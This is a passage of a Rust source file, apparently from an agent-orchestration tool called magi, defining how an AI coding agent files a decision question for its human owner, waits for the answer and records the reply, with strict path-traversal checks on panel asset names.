Skip to main content

magi/
ask.rs

1//! Questions: what an agent does when the next decision is the owner's.
2//!
3//! An agent that reaches a fork it has no authority to take - which storage
4//! backend, whether a breaking change is acceptable, which of two readings of
5//! the task is meant - has two options. It can guess, and produce an
6//! implementation the owner throws away; or it can stop and ask. This module is
7//! the second option, and it is the reason the graph can be left alone
8//! overnight without also being left to invent product decisions.
9//!
10//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
11//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
12//! retry budget: an operator who asks twice would otherwise come back to a held
13//! task that never had a line of code judged.
14//!
15//! # Shape
16//!
17//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
18//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
19//! the question never offered is rejected, and it touches no disk. [`Questions`]
20//! owns all I/O and is constructed with its root, so a test drives a real store
21//! in a temp directory without touching the operator's real home.
22//!
23//! One question is one JSON file under [`Questions`]'s root, written atomically.
24//! Files rather than a database because three processes read and write these
25//! records - the run that asked, `magi web` serving the phone, and `magi answer`
26//! at a terminal - and a rename is the only cross-process atomic write that
27//! needs no coordination between them. It is also why the wait below polls: the
28//! answer arrives in a file written by a process this one has no channel to.
29//!
30//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting
31
32use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43/// On-disk format for a question. Bumped when a field's meaning changes, or -
44/// as with [`Question::thread`], [`Question::answer_timeout`] and now the
45/// waiter bookkeeping ([`Question::cwd`], [`Question::waiter`],
46/// [`Question::delivered_turns`], [`Question::answer_delivered`]) - when a
47/// new field is added that a much older magi has no notion of at all.
48///
49/// The web UI is written against this shape by hand - there is no shared schema
50/// between the front end and this struct - so a field that changes meaning
51/// without a bump here is a UI that lies silently.
52///
53/// A file is refused only when its own `schema` is *greater* than this one -
54/// see [`read_path`] - never merely different: `#[serde(default)]` on every
55/// field added since 1 is what makes an older file's absence of `thread` mean
56/// "no conversation yet" rather than "unreadable", and a strict equality check
57/// would turn every bump into an upgrade that breaks reading yesterday's
58/// question files.
59/// Schema 8 adds optional local posting comparison data. Older questions use Markdown.
60/// Schema 9 preserves individual original triggers inside whole-field replacements.
61/// Schema 10 records the operator decision generation for built-in triage.
62/// Schema 11 binds merge decisions to the displayed PR and head.
63/// Schema 12 adds closed, daemon-applied maintenance choice actions.
64/// Schema 13 records an ended consultation without resolving its question.
65pub const SCHEMA: u32 = 13;
66
67/// How often the wait re-reads the question file.
68///
69/// Three seconds: the answer comes from a human on a phone, so the difference
70/// between three seconds and three hundred milliseconds is invisible to them,
71/// while a tight loop would `stat` and parse a file thousands of times per
72/// minute for a wait that routinely lasts hours. Nothing is held between polls -
73/// no lock, no open handle - because `magi web` and `magi answer` write the
74/// same file from other processes.
75const POLL: Duration = Duration::from_secs(3);
76
77/// How long an agent's reply may go unnoticed before it earns its own
78/// notification.
79///
80/// An operator reading the card when the agent replies does not need paging
81/// again for a conversation they are already in; one who walked away still
82/// needs the tap on the shoulder. Five minutes is a judgement call about that
83/// line, not a policy a repository has an opinion about, which is why it lives
84/// here rather than in `magi.toml`: the operator cannot tell from `magi.toml`
85/// whether they are still looking at the phone, and neither can this build, so
86/// there is nothing for a per-repository setting to be *right* about.
87const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
88
89/// How long the operator's notification command may run before it is killed.
90///
91/// A webhook that hangs must not hang the run. Twenty seconds is long enough
92/// for a slow HTTP round trip and short enough that the operator still gets the
93/// question filed and the run parked in a bounded time.
94const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
95
96/// The longest a single `magi ask` invocation may block on the owner before
97/// it hands the wait back to whatever is running it, rather than to
98/// [`Question::abandon`].
99///
100/// `answer_timeout` defaults to a day, and that is a deadline for the
101/// *question*, not a budget the calling process is free to spend all at
102/// once: an agent CLI's own shell tool kills a command that runs much longer
103/// than this, and the child it kills is `magi ask` itself - the one thing
104/// that would have read the owner's answer. Run 20260908-205802-c9eb is what
105/// that looks like end to end: seat `impl-A` asked, its tool timed the wait
106/// out, and the seat's own summary said it had backgrounded the blocking
107/// `magi ask` and would "continue once the owner replies" - except nothing
108/// was left to notice the reply. The seat exited `completed`, the
109/// backgrounded child died with it, and the owner's eventual answer on the
110/// web UI had nobody left to read it.
111///
112/// So a wait is sliced instead: this call blocks for at most `WAIT_SLICE`
113/// and returns [`Wait::Pending`] if nothing happened, which is not a
114/// failure - the caller runs `magi ask --wait <id>` again, in a fresh
115/// process the tool timeout has never seen. Four minutes leaves a ten-minute
116/// tool budget room for the CLI's own startup and the notification's round
117/// trip, while staying long enough that an owner who answers within the hour
118/// is not making an agent loop through fifteen slices to hear about it.
119const WAIT_SLICE: Duration = Duration::from_secs(240);
120
121/// How long a lease stays believable after its last beat.
122///
123/// Longer than [`WAIT_SLICE`]'s hand-back gap by a wide margin: a slice that
124/// ends with [`Wait::Pending`] leaves the asking agent a moment to call
125/// `magi ask --wait` again, and a reply leaves it a moment to call `--thread`.
126/// A holder that beats every [`POLL`] and is silent for ninety seconds is gone
127/// or about to be, and a lease that is merely between two calls must not be
128/// mistaken for that - the daemon waiter would start a second agent on a
129/// conversation the first is still in.
130pub const LEASE_TTL: Duration = Duration::from_secs(90);
131
132/// How long [`Questions::update`]'s lock may be held before it is presumed
133/// left behind by a writer that died.
134const LOCK_STALE: Duration = Duration::from_secs(10);
135
136/// Environment variable naming the base URL of the web UI, for `{url}`.
137///
138/// A run cannot discover this by itself: `magi web` is a different process,
139/// usually started by hand and often on a different machine on the tailnet, and
140/// the address it settled on (Tailscale IP, port, or the fallback it warned
141/// about) exists only in that process. So the operator names it once, in the
142/// environment `magi serve` runs in - `magi web --open` prints exactly the
143/// string to use on stdout. Unset means `{url}` expands to nothing rather than
144/// to a guess: a notification carrying a link to an address nothing is
145/// listening on is worse than one carrying no link at all.
146pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
147
148/// Largest panel magi will store, html plus assets.
149///
150/// Checked as a total, before a single byte is written, because the failure
151/// this prevents is not a full disk but a half-copied panel: an agent that
152/// points at a 200 MB screen recording must get one clean error, not a
153/// directory holding the three small files that fitted before the copy died.
154/// Eight mebibytes is far more than a diff, a table and a handful of images
155/// need, and small enough that a phone on a hotel link still renders it.
156pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
157
158/// Suffix of the directory holding one question's panel.
159///
160/// A sibling of `<id>.json` rather than a subdirectory of the store, so
161/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
162/// see it, and so a panel travels with the question it belongs to.
163const PANEL_DIR: &str = ".panel";
164
165/// The panel's entry point inside its directory.
166const PANEL_HTML: &str = "index.html";
167
168/// Scratch directory a panel is assembled in before it is swapped into place.
169const PANEL_TMP: &str = ".panel.tmp";
170
171/// The one asset filename rule, applied on write **and** on read.
172///
173/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
174/// containing `..`. The pattern is this narrow because the name arrives from
175/// two untrusted directions and is then joined onto a path: an agent naming
176/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
177/// character that could change what the join means is outside the set - `/`
178/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
179/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
180/// refused, which matters because on Windows `Path::join` with an absolute
181/// path *discards the whole prefix* and would serve any file on the disk.
182/// `..` is refused anywhere rather than only at the front so the rule reads
183/// the same as the sentence "no traversal" to anyone auditing it.
184///
185/// The length bound keeps a name inside every filesystem's limit, so a panel
186/// that stores cannot fail to store on the operator's other machine.
187pub fn valid_asset_name(name: &str) -> bool {
188    if name.is_empty() || name.len() > 64 || name.contains("..") {
189        return false;
190    }
191    let mut chars = name.chars();
192    chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
193        && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
194}
195
196/// Where a question is in its life.
197#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
198#[serde(rename_all = "lowercase")]
199pub enum QuestionStatus {
200    /// Asked, and waiting for the owner. A run is parked behind it.
201    Open,
202    /// The owner decided. [`Question::answer`] holds what they said.
203    Answered,
204    /// Nobody answered in time, or the question outlived the run that asked.
205    /// Kept rather than deleted: what was asked and never answered is the
206    /// evidence that the operator was the bottleneck.
207    Abandoned,
208}
209
210impl QuestionStatus {
211    /// Is a run still parked behind this question?
212    pub fn open(self) -> bool {
213        matches!(self, Self::Open)
214    }
215
216    /// Lowercase name, as it appears on disk and in the API.
217    pub fn as_str(self) -> &'static str {
218        match self {
219            Self::Open => "open",
220            Self::Answered => "answered",
221            Self::Abandoned => "abandoned",
222        }
223    }
224}
225
226/// What the owner said.
227///
228/// Two shapes rather than one string because the question decides which is
229/// admissible, and [`Question::answer`] enforces it. A phone that posts
230/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
231/// front end, and it is caught here rather than handed to an agent as fact.
232#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
233#[serde(rename_all = "lowercase")]
234pub enum Answer {
235    /// One of the offered choices, verbatim.
236    Choice(String),
237    /// Free text, for a question that offered no choices.
238    Text(String),
239}
240
241/// What the daemon does to the task behind a question when a particular
242/// choice is answered.
243///
244/// A closed set, attached to a choice by the asker (`magi ask --choice X
245/// --action X=resume`) and matched by the choice's exact text. Nothing here
246/// is ever derived from the wording of a label or of a free-text answer: a
247/// question without an action for the chosen label does nothing but answer.
248#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
249#[serde(tag = "do", rename_all = "lowercase")]
250pub enum ChoiceAction {
251    /// Resume this run of the task that owns the question.
252    Resume {
253        /// The run to continue. Must still be the task's latest run.
254        run: String,
255    },
256    /// Authorize exhausted base movement on this exact stop and queue its owner.
257    RecoverBase {
258        /// Full retained execution ID.
259        run: String,
260        /// Immutable stop including the retained HEAD and stop kind.
261        stop: crate::chat_control::BaseRecoveryStop,
262        /// Active synchronization interval observed when offering the choice.
263        episode: usize,
264    },
265    /// Resume a named execution through the shared driver service.
266    ResumeRun {
267        /// Exact run ID; never a prefix resolved at application time.
268        run: String,
269    },
270    /// Release only the exact hold the question was filed about.
271    ReleaseTask {
272        /// Exact queue task ID.
273        task: String,
274        /// Start of the hold observed when filing the question.
275        held_at: jiff::Timestamp,
276        /// Exact hold reason (including its absence) observed when filing.
277        reason: Option<String>,
278    },
279    /// Rerun these failed workflow runs once, on this exact PR head.
280    RerunChecks {
281        /// Repository used for forge access.
282        repo: PathBuf,
283        /// Named pull request URL or number.
284        pr: String,
285        /// Commit whose checks the owner saw.
286        head: String,
287        /// Failed workflow run IDs, bounded to twenty.
288        runs: Vec<String>,
289    },
290    /// End a predecessor only after the shared driver judge proves it dead.
291    AbandonRun {
292        /// Exact predecessor run ID.
293        run: String,
294    },
295    /// Requeue the task as a fresh competition.
296    Requeue,
297    /// Hold the task until the operator releases it.
298    Hold,
299    /// Close the task as done.
300    Done,
301}
302
303impl ChoiceAction {
304    /// Maintenance effects are applied exclusively by the daemon.
305    pub fn maintenance(&self) -> bool {
306        matches!(
307            self,
308            Self::RecoverBase { .. }
309                | Self::ResumeRun { .. }
310                | Self::ReleaseTask { .. }
311                | Self::RerunChecks { .. }
312                | Self::AbandonRun { .. }
313        )
314    }
315
316    /// Parse a `--action` value: `<label>=<verb>`, where the verb is
317    /// `resume[:<run>]`, `requeue`, `hold` or `done`. A `resume` without a run takes
318    /// `default_run` (the asker's own `MAGI_RUN`). Returns the label and its
319    /// action; whether the label is one of the choices is the caller's check.
320    pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
321        let split = spec
322            .find("={")
323            .map(|at| (&spec[..at], &spec[at + 1..]))
324            .or_else(|| spec.rsplit_once('='));
325        let Some((label, verb)) = split else {
326            bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|hold|done>`");
327        };
328        let label = label.trim();
329        if label.is_empty() {
330            bail!("`--action {spec}` names no choice before `=`");
331        }
332        let verb = verb.trim();
333        if verb.starts_with('{') {
334            let action = serde_json::from_str(verb).context("parse typed choice action")?;
335            return Ok((label.to_owned(), action));
336        }
337        let action = match verb.split_once(':') {
338            Some(("resumerun", run)) if !run.trim().is_empty() => Self::ResumeRun {
339                run: run.trim().into(),
340            },
341            Some(("abandonrun", run)) if !run.trim().is_empty() => Self::AbandonRun {
342                run: run.trim().into(),
343            },
344            Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
345                run: run.trim().to_owned(),
346            },
347            None if verb == "resume" => {
348                if default_run.is_empty() {
349                    bail!("`--action {spec}` names no run and MAGI_RUN is not set");
350                }
351                Self::Resume {
352                    run: default_run.to_owned(),
353                }
354            }
355            None if verb == "requeue" => Self::Requeue,
356            None if verb == "hold" => Self::Hold,
357            None if verb == "done" => Self::Done,
358            _ => bail!(
359                "unknown action `{verb}` in `--action {spec}`; \
360                 use resume[:<run>], requeue, hold or done"
361            ),
362        };
363        Ok((label.to_owned(), action))
364    }
365
366    /// Stable aliases for internal recovery, independent of display labels.
367    /// Other effects still require their offered labels and existing consent.
368    pub fn matches_alias(&self, input: &str) -> bool {
369        let input = input.trim();
370        match self {
371            Self::Resume { run } => {
372                [
373                    "resume",
374                    "resume run",
375                    "resume-run",
376                    "再開",
377                    "実行再開",
378                    "実行を再開",
379                    "実行を再開する",
380                ]
381                .iter()
382                .any(|alias| input.eq_ignore_ascii_case(alias))
383                    || [
384                        format!("resume {run}"),
385                        format!("resume:{run}"),
386                        format!("resume run {run}"),
387                        format!("resume {}", short(run)),
388                        format!("resume run {}", short(run)),
389                    ]
390                    .iter()
391                    .any(|alias| input.eq_ignore_ascii_case(alias))
392            }
393            Self::Hold => ["hold", "keep-held", "keep held", "保留"]
394                .iter()
395                .any(|alias| input.eq_ignore_ascii_case(alias)),
396            _ => false,
397        }
398    }
399
400    /// Short human wording, for `magi show` and the card.
401    pub fn describe(&self) -> String {
402        match self {
403            Self::Resume { run } => format!("resume run {}", short(run)),
404            Self::RecoverBase { run, .. } => format!(
405                "authorize bounded base recovery and queue run {}",
406                short(run)
407            ),
408            Self::ResumeRun { run } => format!("resume run {}", short(run)),
409            Self::ReleaseTask { task, .. } => format!("release held task {}", short(task)),
410            Self::RerunChecks { pr, .. } => format!("rerun failed checks of {pr} once"),
411            Self::AbandonRun { run } => format!("abandon proven stopped run {}", short(run)),
412            Self::Requeue => "requeue the task".to_owned(),
413            Self::Hold => "hold the task until the operator releases it".to_owned(),
414            Self::Done => "mark the task done".to_owned(),
415        }
416    }
417}
418
419/// Parse every `--action` value against the offered `choices`, refusing a
420/// label the question does not offer (it could never fire).
421pub fn parse_actions(
422    specs: &[String],
423    choices: &[String],
424    default_run: &str,
425) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
426    let mut out = std::collections::BTreeMap::new();
427    for spec in specs {
428        let (label, action) = ChoiceAction::parse(spec, default_run)?;
429        if !choices.contains(&label) {
430            bail!(
431                "`--action {spec}`: `{label}` is not one of the --choice values ({})",
432                choices.join(", ")
433            );
434        }
435        if out.insert(label.clone(), action).is_some() {
436            bail!("more than one --action for `{label}`");
437        }
438    }
439    Ok(out)
440}
441
442/// Who wrote one turn of a question's conversation.
443///
444/// Two values, not three: [`Question::thread`] is the record of a single
445/// question stopping and resuming, and the agent that resumes it is always
446/// the one that asked - a fresh consultant would have to be caught up on
447/// everything the first agent already knows, which is the round trip this
448/// module exists to avoid. The names and the wire spelling deliberately match
449/// [`crate::chat::Who`], which this module does not depend on: the two are the
450/// same idea in two products, and giving them the same shape is what lets the
451/// phone render both with one component.
452#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
453#[serde(rename_all = "lowercase")]
454pub enum Who {
455    /// The person the agent asked.
456    Operator,
457    /// The agent that asked, replying to a question of its own rather than
458    /// answering.
459    Agent,
460}
461
462/// One turn in a question's back-and-forth, after the question itself was
463/// asked.
464///
465/// The question's own `summary`/`detail`/`choices` already carry the agent's
466/// opening move, so a turn only exists from the moment the owner talks back -
467/// [`Question::thread`] starts empty and stays that way for the overwhelming
468/// majority of questions, which are answered on the first read.
469#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
470#[serde(deny_unknown_fields)]
471pub struct Turn {
472    /// Who said it.
473    pub who: Who,
474    /// What they said.
475    pub body: String,
476    /// When they said it.
477    pub at: Timestamp,
478    /// A deputy's own report beside a settle: side effects it caused and
479    /// requests it could not carry out. The deputy's claim, never checked by
480    /// magi, and kept apart from `body` so the verified "Settled as" line and
481    /// this self-report cannot be mistaken for each other.
482    #[serde(default, skip_serializing_if = "Option::is_none")]
483    pub note: Option<String>,
484}
485
486/// Who is keeping watch over an open question.
487#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
488#[serde(rename_all = "lowercase")]
489pub enum WaiterKind {
490    /// The `magi ask` process the agent started.
491    Asker,
492    /// The `magi serve` waiter ([`crate::waiter`]), resuming the asking seat's
493    /// own session because the asker is gone.
494    Daemon,
495    /// The question's deputy ([`crate::deputy`]): a short-lived seat that
496    /// `magi serve` runs for a question the conductor filed, so that something
497    /// which remembers why it was asked is on the other end.
498    Deputy,
499}
500
501/// The follow-up seat a conductor question hands its wait to.
502///
503/// The conductor itself never waits (see [`crate::conduct`]), so a free-text
504/// reply to its question would reach nobody. A deputy is a seat of its own -
505/// keyed `deputy-<question id>`, never the conductor's shared seat - that
506/// inherits what the conductor knew about this one question ([`Deputy::brief`])
507/// and blocks on it with `magi ask --wait`. Persisted on the question so a
508/// restarted daemon resumes the same CLI conversation instead of assuming it.
509///
510/// Written only through [`Questions::update`]: the owner's say and answer land
511/// on the same file.
512#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
513pub struct Deputy {
514    /// Why the question was asked, what each choice leads to: the conductor's
515    /// context for this one question, handed to the deputy in its prompt.
516    pub brief: String,
517    /// The agent that holds the seat. Empty until the first start.
518    #[serde(default)]
519    pub agent: String,
520    /// The deputy's own conversation. `None` until the first start.
521    #[serde(default)]
522    pub seat: Option<crate::agent::SeatState>,
523    /// How many times a deputy turn was started for this question. Never reset
524    /// by a restart, so a deputy that keeps dying is bounded.
525    #[serde(default)]
526    pub starts: u32,
527}
528
529impl Deputy {
530    /// A deputy that has not started yet, holding `brief`.
531    pub fn new(brief: String) -> Self {
532        Self {
533            brief,
534            agent: String::new(),
535            seat: None,
536            starts: 0,
537        }
538    }
539}
540
541/// Seat name of the deputy for question `id`.
542pub fn deputy_seat_key(id: &str) -> String {
543    format!("deputy-{}", short(id))
544}
545
546/// The record's note of who was last known to be waiting.
547///
548/// A note, not a promise: nothing rewrites the question when a holder dies, so
549/// whether it still holds is read from the [`Lease`] beside it.
550#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
551pub struct Waiter {
552    /// Who took the wait.
553    pub kind: WaiterKind,
554    /// When they took it.
555    pub since: Timestamp,
556}
557
558/// A sidecar (`<id>.lease`) saying that something is alive and waiting.
559///
560/// A sidecar rather than a field of the question because a holder beats every
561/// few seconds, and rewriting the question that often would race the phone's
562/// answer and say with lost updates. It is not `*.json`, so
563/// [`Questions::list`] never sees it. No pid check: pids are reused and mean
564/// different things across platforms, while a beat that stopped is evidence on
565/// every one.
566#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
567pub struct Lease {
568    /// Who beat last.
569    pub kind: WaiterKind,
570    /// Their process id, for a human reading the file.
571    pub pid: u32,
572    /// When they beat last.
573    pub beat_at: Timestamp,
574}
575
576impl Lease {
577    /// Was the last beat recent enough to believe the holder is still there?
578    pub fn fresh(&self, now: Timestamp) -> bool {
579        now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
580    }
581}
582
583/// One decision magi will not take on the owner's behalf.
584#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
585#[serde(deny_unknown_fields)]
586pub struct Question {
587    /// On-disk format version.
588    pub schema: u32,
589    /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
590    /// task's, so the operator can paste any of them at any prefix argument.
591    pub id: String,
592    /// Run that is parked behind this question.
593    pub run: String,
594    /// Graph node the asking agent was working in, e.g. `implement`.
595    pub node: String,
596    /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
597    /// this" decides whether the answer unblocks one candidate or all of them.
598    pub seat: String,
599    /// One line: the question itself. This is what a notification carries and
600    /// what the phone shows above the answer controls.
601    pub summary: String,
602    /// The reasoning behind the question, as markdown. May be long, may be
603    /// empty. Rendered as text nodes by the UI, never as markup.
604    pub detail: String,
605    /// Display-only comparison; never used to decide or construct a post.
606    #[serde(default, skip_serializing_if = "Option::is_none")]
607    pub posting_comparison: Option<crate::github_text::PostingComparison>,
608    /// The admissible answers. **Empty means free text** - that one condition
609    /// is the whole difference between the two kinds of question, on disk, in
610    /// the UI, and in [`Question::answer`]'s validation.
611    pub choices: Vec<String>,
612    /// Exact PR and head displayed to the owner. Absent on legacy questions.
613    #[serde(default)]
614    pub merge_target: Option<crate::merge_decision::Target>,
615    /// Task decision outbox; retained until task-chat delivery is durable.
616    #[serde(default)]
617    pub routed_task: Option<String>,
618    /// `ask_cmd` chose the legacy foreground path because no task owned it.
619    /// Persist this provenance: a nonempty run alone is not task ownership.
620    #[serde(default, skip_serializing_if = "std::ops::Not::not")]
621    pub legacy_foreground: bool,
622    /// Set after delivery; merge consent remains in this record.
623    #[serde(default)]
624    pub routed_chat: Option<String>,
625    /// Literal replacement title supplied with a routed publication decision.
626    /// This is publication data, not owner-consent evidence.
627    #[serde(default, skip_serializing_if = "Option::is_none")]
628    pub publication_title: Option<String>,
629    /// What the daemon does when a given choice is answered, keyed by the
630    /// choice's exact text. Empty for an ordinary question. A key is always
631    /// one of [`Question::choices`]; `#[serde(default)]` so older files read.
632    #[serde(default)]
633    pub actions: std::collections::BTreeMap<String, ChoiceAction>,
634    /// Does this question have an agent-authored HTML panel beside it?
635    ///
636    /// Serialised with a default so a question written by an older magi - or
637    /// by hand - still deserialises rather than failing the whole store, which
638    /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
639    /// open question the operator was looking for.
640    #[serde(default)]
641    pub panel: bool,
642    /// Files copied in beside the panel's html, by base name, sorted.
643    ///
644    /// The list exists so a reader knows what a panel is made of without
645    /// walking the directory, and every entry satisfies [`valid_asset_name`].
646    /// Sorted because it is compared - a question re-asked with the same
647    /// assets in a different argument order is not a different question.
648    #[serde(default)]
649    pub assets: Vec<String>,
650    /// Current state.
651    pub status: QuestionStatus,
652    /// When the agent asked.
653    pub asked_at: Timestamp,
654    /// Operator decision generation when a built-in triage question was filed.
655    #[serde(default)]
656    pub triage_generation: Option<u64>,
657    /// When the owner answered, if they did.
658    pub answered_at: Option<Timestamp>,
659    /// Exact response generation recorded by a live answer update. Absent on
660    /// imported history; survives an answer made before task ownership exists.
661    #[serde(default, skip_serializing_if = "Option::is_none")]
662    pub accepted_answer_at: Option<Timestamp>,
663    /// What they said.
664    pub answer: Option<Answer>,
665    /// Everything said after the question itself, oldest first: the owner
666    /// asking back, the agent replying, as many times as it takes before an
667    /// [`Answer`] lands.
668    ///
669    /// `#[serde(default)]` so a question written before this field existed -
670    /// every question on disk before this build - still deserialises as one
671    /// with no conversation yet, rather than failing [`Questions::list`]'s
672    /// read and quietly hiding an open question from the operator.
673    #[serde(default)]
674    pub thread: Vec<Turn>,
675    /// The `answer_timeout`, in seconds, that was in force when this question
676    /// was first asked. `0` means unrecorded - a question written before this
677    /// field existed, or one filed by a flow (land's merge-approval gate)
678    /// that never sets it because it never resumes a sliced wait.
679    ///
680    /// [`Question::new`] cannot know this - the effective timeout (`--timeout`,
681    /// or the config default) is decided by the caller, after the question
682    /// already exists - so it starts at `0` here and whoever files a fresh
683    /// question sets it once, the same way [`Question::panel`] is set by
684    /// [`Questions::put_panel`] rather than by the constructor. It is never
685    /// touched again: `magi ask --wait` reads it as the one deadline it is
686    /// allowed to enforce, precisely so that a `--timeout` given (or omitted)
687    /// on a later call can never quietly extend or shrink the budget the
688    /// question was actually asked with.
689    #[serde(default)]
690    pub answer_timeout: u64,
691    /// The directory the asking agent was working in when it asked, so the
692    /// daemon waiter can resume that agent's session from where it stood.
693    /// `None` for a question no `magi ask` filed (land's approval gate, a
694    /// release notice, one written before this field existed): those have no
695    /// agent to hand anything back to, and the waiter leaves them alone.
696    #[serde(default)]
697    pub cwd: Option<String>,
698    /// Who was last known to be waiting - see [`Waiter`].
699    #[serde(default)]
700    pub waiter: Option<Waiter>,
701    /// How many entries of [`Question::thread`] the agent has been shown, by
702    /// the asking process printing them or by the waiter resuming the seat.
703    /// The owner's turn at an index at or past this has reached nobody yet.
704    #[serde(default)]
705    pub delivered_turns: usize,
706    /// Has the agent been told the [`Answer`]? The asker prints it as it
707    /// returns; the waiter delivers it when the asker was gone.
708    #[serde(default)]
709    pub answer_delivered: bool,
710    /// The follow-up seat waiting on this question, for a question the
711    /// conductor filed. `None` for every other question.
712    #[serde(default)]
713    pub deputy: Option<Deputy>,
714    /// Set once the owner handed this question to the chat it came from
715    /// ([`crate::consult::begin`]). The question stays open; this only records
716    /// that the chat was asked, so a second tap does not post it twice.
717    #[serde(default)]
718    pub consult: Option<ChatConsult>,
719    /// Owner evidence a chat answer persisted before owner requests went
720    /// through without consent checks. Kept (reduced to the fields below) so
721    /// an old record keeps loading (`deny_unknown_fields`) and an old pending
722    /// `use my text` answer keeps its title through a re-save
723    /// ([`crate::github_text::read_reply`]); nothing assigns it any more.
724    #[serde(default, skip_serializing_if = "Option::is_none")]
725    pub answer_authority: Option<LegacyAnswerAuthority>,
726    /// Owner decision outside the choices; ends consultation without answering.
727    #[serde(default, skip_serializing_if = "Option::is_none")]
728    pub consult_outcome: Option<crate::consult::ConsultOutcome>,
729    /// Independent task facts behind a conductor question. Answered questions
730    /// with unchanged facts must not be regenerated just to ask again.
731    #[serde(default)]
732    pub decision_context: Option<String>,
733}
734
735/// A question the owner passed to the chat conversation its task came from.
736#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
737pub struct ChatConsult {
738    /// The conversation the question was posted into.
739    pub talk: String,
740    /// When it was posted.
741    pub at: Timestamp,
742}
743
744/// The part of an old record's `answer_authority` that is still read: the
745/// owner instruction an old pending `use my text` answer took its title from.
746/// Every other key of the old evidence is ignored on load.
747#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
748pub struct LegacyAnswerAuthority {
749    /// Question the old evidence was bound to.
750    pub question: String,
751    /// Choice the old evidence was bound to.
752    pub choice: String,
753    /// The owner's full instruction.
754    pub instruction: String,
755}
756
757impl Question {
758    /// Does `run` hold a task id rather than a run id? True for the
759    /// conductor's and the triage questions, which are filed about a task.
760    pub fn run_names_task(&self) -> bool {
761        matches!(
762            self.node.as_str(),
763            crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
764        )
765    }
766
767    /// Ask something. Persist it with [`Questions::put`], or hand it to
768    /// [`ask_and_wait`], which files it and waits.
769    pub fn new(
770        run: String,
771        node: String,
772        seat: String,
773        summary: String,
774        detail: String,
775        choices: Vec<String>,
776    ) -> Self {
777        Self {
778            schema: SCHEMA,
779            id: new_id(),
780            run,
781            node,
782            seat,
783            summary,
784            detail,
785            posting_comparison: None,
786            choices,
787            merge_target: None,
788            routed_task: None,
789            legacy_foreground: false,
790            routed_chat: None,
791            publication_title: None,
792            actions: std::collections::BTreeMap::new(),
793            panel: false,
794            assets: Vec::new(),
795            status: QuestionStatus::Open,
796            asked_at: Timestamp::now(),
797            triage_generation: None,
798            answered_at: None,
799            accepted_answer_at: None,
800            answer: None,
801            thread: Vec::new(),
802            answer_timeout: 0,
803            cwd: None,
804            waiter: None,
805            delivered_turns: 0,
806            answer_delivered: false,
807            deputy: None,
808            consult: None,
809            answer_authority: None,
810            consult_outcome: None,
811            decision_context: None,
812        }
813    }
814
815    /// Short form used in reports and on the phone, matching a run's short id.
816    pub fn short(&self) -> &str {
817        short(&self.id)
818    }
819
820    /// The action attached to the choice that was answered, if the question
821    /// is answered with a choice that carries one. Free text never matches.
822    pub fn chosen_action(&self) -> Option<&ChoiceAction> {
823        match (&self.status, &self.answer) {
824            (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
825            _ => None,
826        }
827    }
828
829    /// Does this question want free text rather than one of a set?
830    pub fn free_text(&self) -> bool {
831        self.choices.is_empty()
832    }
833
834    /// Exact reply values, kept separate from human action descriptions.
835    /// Resolve each advertised alias through the real parser, including ambiguity.
836    pub fn reply_guidance(&self) -> String {
837        self.choices
838            .iter()
839            .map(|label| {
840                let aliases: Vec<_> = ["resume-run", "keep-held"]
841                    .into_iter()
842                    .filter(|alias| self.resolve_reply(alias).ok() == Some(label.as_str()))
843                    .collect();
844                let exact = serde_json::to_string(label).expect("serialize label");
845                let reply = if aliases.is_empty() {
846                    format!("exact label: {exact}")
847                } else {
848                    format!(
849                        "exact label: {exact}; accepted aliases: {}",
850                        aliases.join(", ")
851                    )
852                };
853                match self.actions.get(label) {
854                    Some(action) => {
855                        format!("{reply}; effect (not reply text): {}", action.describe())
856                    }
857                    None => reply,
858                }
859            })
860            .collect::<Vec<_>>()
861            .join("\n")
862    }
863
864    /// Resolve terminal aliases to the exact stored label before authorization.
865    /// Aliases describe structured effects, never translated display text.
866    pub fn resolve_reply<'a>(&'a self, reply: &'a str) -> Result<&'a str> {
867        if self.free_text() || self.choices.iter().any(|c| c == reply) {
868            return Ok(reply);
869        }
